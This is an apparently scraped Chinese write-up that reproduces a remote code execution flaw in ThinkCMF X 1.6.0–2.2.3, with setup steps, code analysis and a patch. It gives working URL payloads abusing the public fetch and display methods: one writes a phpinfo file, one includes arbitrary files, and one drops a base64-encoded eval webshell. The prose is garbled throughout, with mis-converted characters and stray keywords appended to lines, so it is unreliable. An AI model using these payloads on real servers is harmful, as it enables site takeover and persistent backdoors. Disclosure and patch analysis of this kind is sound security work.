ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。
ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者能够根据自身的需求以应用的形式进行扩展。
每一个应用都能独立的完成本身的任务,也可经过系统调用其余应用进行协同工做。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工做的,但他们之间又可经过系统自己进行协调,大大的下降了开发成本和沟通成本。php
攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。thinkphp
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3数据库
本次使用的环境版本是2.2.3,直接放到phpstudy的目录下,访问路径/ThinkCMFX/发现ThinkCMF很人性化的加载了安装向导,所以按照它的步骤一步一步来便可(2.2.3版本安装包获取方式:文末公众号内回复“ThinkCMF环境”)缓存
填写好数据库密码以及管理员信息(phpstudy的数据库默认密码为root)服务器
继续下一步,环境搭建成功如图所示markdown
经过构造a参数的fetch方法,能够不须要知道文件路径就能够把php代码写入文件
phpinfo版payload以下:app
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
执行payload,页面是空白的框架
访问test.php,能够看到phpinfo已经加载出来函数
经过构造a参数的display方法,实现任意内容包含漏洞
payload:fetch
?a=display&templateFile=README.md
首先打开index.php文件,看一下程序的项目路径,以下显示项目路径在application目录下
在项目路径下找到入口分组的控制器类选择IndexController 控制器类打开
能够看到这里IndexController类中只有一个方法display方法,那么看一下父类HomebaseController文件,根据ThinkPHP框架规则,能够经过g\m\a参数指定分组\模块\方法,这里能够经过a参数直接调用Portal\IndexController父类(HomebaseController)中的一些权限为public的方法。
这边有问题的是display函数和fetch函数:
display函数的做用是加载模板和页面输出,所对应的参数为:
templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。
templateFile参数会通过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找,这里能够配合一处上传造成文件包含。最终造成的payload :index.php?a=display&templateFile=README.md
fetch函数的做用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时即可以造成模板注入。
这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数能够为空,在content参数传入待注入的php代码便可。最终造成的payload:index.php?a=fetch&content=<?php+file_put_contents("s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4=");
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改成 protected
转自限制社区文章,由Timeline Sec公众号发布:
https://xz.aliyun.com/t/6626